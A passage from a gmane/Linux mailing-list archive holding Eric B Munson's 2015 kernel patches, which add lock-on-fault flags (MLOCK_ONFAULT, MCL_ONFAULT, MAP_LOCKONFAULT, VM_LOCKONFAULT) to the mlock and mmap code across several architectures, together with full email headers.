 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index daab994..c0871ce 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -31,8 +31,10 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL     0               /* no further special treatment */
 #define MADV_RANDOM     1               /* expect random page references */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 189e85f..f93f7eb 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -22,8 +22,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 13d51be..8cd2ebc 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -17,8 +17,10 @@
 
 #define MCL_CURRENT     0x2000          /* lock all currently mapped pages */
 #define MCL_FUTURE      0x4000          /* lock all additions to address space */
+#define MCL_ONFAULT	0x8000		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MAP_POPULATE	0x8000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index f69ce48..acdd013 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -36,11 +36,14 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
+
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 
 #endif /* _ASM_TILE_MMAN_H */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 11f354f..5725a15 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -74,11 +74,13 @@
  */
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 /*
  * Flags for mlock
  */
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #define MADV_NORMAL	0		/* no further special treatment */
 #define MADV_RANDOM	1		/* expect random page references */
diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
index ca1e091..38d69fc 100644
--- a/fs/proc/task_mmu.c
+++ b/fs/proc/task_mmu.c
@@ -579,6 +579,7 @@ static void show_smap_vma_flags(struct seq_file *m, struct vm_area_struct *vma)
 #ifdef CONFIG_X86_INTEL_MPX
 		[ilog2(VM_MPX)]		= "mp",
 #endif
+		[ilog2(VM_LOCKONFAULT)]	= "lf",
 		[ilog2(VM_LOCKED)]	= "lo",
 		[ilog2(VM_IO)]		= "io",
 		[ilog2(VM_SEQ_READ)]	= "sr",
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 2e872f9..ae40c7d 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -127,6 +127,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 242436b..555aab0 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -17,7 +17,9 @@
 
 #define MCL_CURRENT	1		/* lock all current mappings */
 #define MCL_FUTURE	2		/* lock all future mappings */
+#define MCL_ONFAULT	4		/* lock all pages that are faulted in */
 
 #define MLOCK_LOCKED	0x01		/* Lock and populate the specified range */
+#define MLOCK_ONFAULT	0x02		/* Lock pages in range after they are faulted in, do not prefault */
 
 #endif /* __ASM_GENERIC_MMAN_H */
diff --git a/mm/mlock.c b/mm/mlock.c
index d6e61d6..d9414d6 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -502,11 +502,12 @@ static int mlock_fixup(struct vm_area_struct *vma, struct vm_area_struct **prev,
 	pgoff_t pgoff;
 	int nr_pages;
 	int ret = 0;
-	int lock = !!(newflags & VM_LOCKED);
+	int lock = !!(newflags & (VM_LOCKED | VM_LOCKONFAULT));
 
 	if (newflags == vma->vm_flags || (vma->vm_flags & VM_SPECIAL) ||
 	    is_vm_hugetlb_page(vma) || vma == get_gate_vma(current->mm))
-		goto out;	/* don't set VM_LOCKED,  don't count */
+		/* don't set VM_LOCKED or VM_LOCKONFAULT and don't count */
+		goto out;
 
 	pgoff = vma->vm_pgoff + ((start - vma->vm_start) >> PAGE_SHIFT);
 	*prev = vma_merge(mm, *prev, start, end, newflags, vma->anon_vma,
@@ -581,10 +582,12 @@ static int apply_vma_flags(unsigned long start, size_t len,
 		/* Here we know that  vma->vm_start <= nstart < vma->vm_end. */
 
 		newflags = vma->vm_flags;
-		if (add_flags)
+		if (add_flags) {
+			newflags &= ~(VM_LOCKED | VM_LOCKONFAULT);
 			newflags |= flags;
-		else
+		} else {
 			newflags &= ~flags;
+		}
 
 		tmp = vma->vm_end;
 		if (tmp > end)
@@ -637,9 +640,12 @@ static int do_mlock(unsigned long start, size_t len, vm_flags_t flags)
 	if (error)
 		return error;
 
-	error = __mm_populate(start, len, 0);
-	if (error)
-		return __mlock_posix_error_return(error);
+	if (flags & VM_LOCKED) {
+		error = __mm_populate(start, len, 0);
+		if (error)
+			return __mlock_posix_error_return(error);
+	}
+
 	return 0;
 }
 
@@ -650,10 +656,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (!flags || flags & ~MLOCK_LOCKED)
+	if (!flags || (flags & ~(MLOCK_LOCKED | MLOCK_ONFAULT)) ||
+	    flags == (MLOCK_LOCKED | MLOCK_ONFAULT))
 		return -EINVAL;
 
-	return do_mlock(start, len, VM_LOCKED);
+	if (flags & MLOCK_LOCKED)
+		return do_mlock(start, len, VM_LOCKED);
+
+	return do_mlock(start, len, VM_LOCKONFAULT);
 }
 
 static int do_munlock(unsigned long start, size_t len, vm_flags_t flags)
@@ -677,26 +687,41 @@ SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 
 SYSCALL_DEFINE3(munlock2, unsigned long, start, size_t, len, int, flags)
 {
-	if (!flags || flags & ~MLOCK_LOCKED)
+	vm_flags_t to_clear = 0;
+
+	if (!flags || flags & ~(MLOCK_LOCKED | MLOCK_ONFAULT))
 		return -EINVAL;
-	return do_munlock(start, len, VM_LOCKED);
+
+	if (flags & MLOCK_LOCKED)
+		to_clear |= VM_LOCKED;
+	if (flags & MLOCK_ONFAULT)
+		to_clear |= VM_LOCKONFAULT;
+
+	return do_munlock(start, len, to_clear);
 }
 
 static int do_mlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_add;
 
 	if (flags & MCL_FUTURE)
 		current->mm->def_flags |= VM_LOCKED;
 	if (flags == MCL_FUTURE)
 		goto out;
 
+	if (flags & MCL_ONFAULT) {
+		current->mm->def_flags |= VM_LOCKONFAULT;
+		to_add = VM_LOCKONFAULT;
+	} else {
+		to_add = VM_LOCKED;
+	}
+
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags & ~VM_LOCKED;
-		if (flags & MCL_CURRENT)
-			newflags |= VM_LOCKED;
+		newflags = vma->vm_flags & ~(VM_LOCKED | VM_LOCKONFAULT);
+		newflags |= to_add;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -711,7 +736,8 @@ SYSCALL_DEFINE1(mlockall, int, flags)
 	unsigned long lock_limit;
 	int ret = -EINVAL;
 
-	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE)))
+	if (!flags || (flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT)) ||
+	    (flags & (MCL_FUTURE | MCL_ONFAULT)) == (MCL_FUTURE | MCL_ONFAULT))
 		goto out;
 
 	ret = -EPERM;
@@ -740,18 +766,24 @@ out:
 static int do_munlockall(int flags)
 {
 	struct vm_area_struct * vma, * prev = NULL;
+	vm_flags_t to_clear = 0;
 
 	if (flags & MCL_FUTURE)
 		current->mm->def_flags &= ~VM_LOCKED;
+	if (flags & MCL_ONFAULT)
+		current->mm->def_flags &= ~VM_LOCKONFAULT;
 	if (flags == MCL_FUTURE)
 		goto out;
 
+	if (flags & MCL_CURRENT)
+		to_clear |= VM_LOCKED;
+	if (flags & MCL_ONFAULT)
+		to_clear |= VM_LOCKONFAULT;
+
 	for (vma = current->mm->mmap; vma ; vma = prev->vm_next) {
 		vm_flags_t newflags;
 
-		newflags = vma->vm_flags;
-		if (flags & MCL_CURRENT)
-			newflags &= ~VM_LOCKED;
+		newflags = vma->vm_flags & ~to_clear;
 
 		/* Ignore errors */
 		mlock_fixup(vma, &prev, vma->vm_start, vma->vm_end, newflags);
@@ -766,7 +798,7 @@ SYSCALL_DEFINE0(munlockall)
 	int ret;
 
 	down_write(&current->mm->mmap_sem);
-	ret = do_munlockall(MCL_CURRENT | MCL_FUTURE);
+	ret = do_munlockall(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT);
 	up_write(&current->mm->mmap_sem);
 	return ret;
 }
@@ -775,7 +807,7 @@ SYSCALL_DEFINE1(munlockall2, int, flags)
 {
 	int ret = -EINVAL;
 
-	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE))
+	if (!flags || flags & ~(MCL_CURRENT | MCL_FUTURE | MCL_ONFAULT))
 		return ret;
 
 	down_write(&current->mm->mmap_sem);
diff --git a/mm/mmap.c b/mm/mmap.c
index aa632ad..eb970ba 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1232,8 +1232,8 @@ static inline int mlock_future_check(struct mm_struct *mm,
 {
 	unsigned long locked, lock_limit;
 
-	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	/*  mlock MCL_FUTURE or MCL_ONFAULT? */
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
diff --git a/mm/swap.c b/mm/swap.c
index a3a0a2f..3580a21 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -710,7 +710,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
 		lru_cache_add(page);
 		return;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH V3 4/5] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Tue,  7 Jul 2015 13:03:42 -0400
Lines: 151
Approved: news@gmane.org
Message-ID: <1436288623-13007-5-git-send-email-emunson@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436288652 12646 80.91.229.3 (7 Jul 2015 17:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2015 17:04:12 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 07 19:03:57 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZCWHk-0002YF-CK
	for glkm-linux-mm-2@m.gmane.org; Tue, 07 Jul 2015 19:03:56 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 136886B0253; Tue,  7 Jul 2015 13:03:53 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 0E7FD6B0254; Tue,  7 Jul 2015 13:03:53 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id EF08C6B0255; Tue,  7 Jul 2015 13:03:52 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f177.google.com (mail-qk0-f177.google.com [209.85.220.177])
	by kanga.kvack.org (Postfix) with ESMTP id C79E66B0253
	for <linux-mm@kvack.org>; Tue,  7 Jul 2015 13:03:52 -0400 (EDT)
Original-Received: by qkhu186 with SMTP id u186so144513518qkh.0
        for <linux-mm@kvack.org>; Tue, 07 Jul 2015 10:03:52 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=oK/lz2Ti4GSsWCScbhsYJm7b26QyTNxnG4SAkVxYfiY=;
        b=a1n65k0libcyoY9Jj3ucQNzy2MqTJl9HdoqGUj6UKPU3E+FmxLByF8Rrwn8x6yo6XN
         9vrZiHGU+Pn3H2hNclgvZg9is5cJdqv9LxkaIkv7x1t+5U6dHHUXmicAjj0mwkPAu/1E
         dvXHG9ss3wbNIKH8OTmrFwB7A5dCgmm5FQQO4h/bosnlpLWYyJ9jmr6wUOCGJLCWFgXJ
         SDMBjIJDbrRsYW7rPiAmgGj2kSdoC65M/d5Mj1KfKDntvZAA4Ad5LAkqME0ceooAPxMT
         1PDctdoBmb9Wfrs3gpi45NonN8hsyiGK1CZyICyFzWDoZ3ptzhHiOi6HN9TZjYfV7gXX
         cDDw==
X-Gm-Message-State: ALoCoQkUL67vcelZjyzxROp9oa2YR0bCRHX902QWD6U52gBSZS5SoSeAFWY0A1xZVORYOVzfoFdjwgQ3w2jNJC9X0ptSPRPmQ1X92uKOEPZr3W2GRGAblWCsNOTBlVRvp5Rhre0rP1qYL5xWC1d/CNcO94nuQMxWtVZdE8AAjWIgTN4BBIOsNw4auMdQ6945qEeRxDuAAWlD
X-Received: by 10.140.217.149 with SMTP id n143mr9042315qhb.9.1436288632651;
        Tue, 07 Jul 2015 10:03:52 -0700 (PDT)
X-Received: by 10.140.217.149 with SMTP id n143mr9042202qhb.9.1436288631940;
        Tue, 07 Jul 2015 10:03:51 -0700 (PDT)
Original-Received: from prod-mail-xrelay02.akamai.com (prod-mail-xrelay02.akamai.com. [72.246.2.14])
        by mx.google.com with ESMTP id k39si25625606qgk.87.2015.07.07.10.03.51
        for <linux-mm@kvack.org>;
        Tue, 07 Jul 2015 10:03:51 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) client-ip=72.246.2.14;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 72.246.2.14 as permitted sender) smtp.mail=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 80E2128E20;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
Original-Received: from prod-mail-relay07.akamai.com (prod-mail-relay07.akamai.com [172.17.121.112])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 517B628E15;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1436288631; bh=0zUjXTkPxdI8GBrWt07f1MqJuIA89SoFwsjFATotono=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=VhbkJCw2Gy+j256JtDdNU97LulZaC/z0BNOjWh0irACBdPMCnfaIEPsNJQmPUqpaa
	 Kp9S44mjuxcYSiEU03AK6AQuirhltDWhroO1+rX+1YC6JLgSENrUB+7yXdMuiMJjIr
	 /+qoIUn1LgV/GHapSRbDr0BnlPJXT/bZQjCEotc0=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (unknown [172.28.13.149])
	by prod-mail-relay07.akamai.com (Postfix) with ESMTP id 4D4058008E;
	Tue,  7 Jul 2015 17:03:51 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1436288623-13007-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:135235 gmane.linux.ports.alpha:3173 gmane.linux.kernel:1990568 gmane.linux.ports.mips.general:49250 gmane.linux.ports.parisc:25806 gmane.linux.ports.ppc64.devel:114890 gmane.linux.ports.sparc:21207 gmane.linux.kernel.cross-arch:28215 gmane.linux.kernel.api:12587
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/135235>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.

Now that we have the new VMA flag for the locked but not present state,
expose it  as an mmap option like MAP_LOCKED -> VM_LOCKED.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 mm/mmap.c                            | 2 +-
 9 files changed, 10 insertions(+), 2 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 77ae8db..3f80ca4 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 71ed81d..905c1ea 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index c0871ce..c4695f6 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index f93f7eb..40a3fda 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -31,5 +31,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 8cd2ebc..3d74ab7 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -26,6 +26,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 5725a15..689e1f2 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 555aab0..007b784 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/mm/mmap.c b/mm/mmap.c
index eb970ba..2dc4da3 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: [PATCH V3 2/5] mm: mlock: Add new mlock, munlock, and munlockall system calls
Date: Tue,  7 Jul 2015 13:03:40 -0400
Lines: 636
Approved: news@gmane.org
Message-ID: <1436288623-13007-3-git-send-email-emunson@akamai.com>
References: <1436288623-13007-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1436288653 12655 80.91.229.3 (7 Jul 2015 17:04:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2015 17:04:13 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org,
	linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Tue Jul 07 19:04:03 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZCWHq-0002cQ-Lq
	for glkm-linux-mm-2@m.gmane.org; Tue, 07 Jul 2015 19:04:03 +0200
Original-Received: by kanga.kvack.org (Postfix)
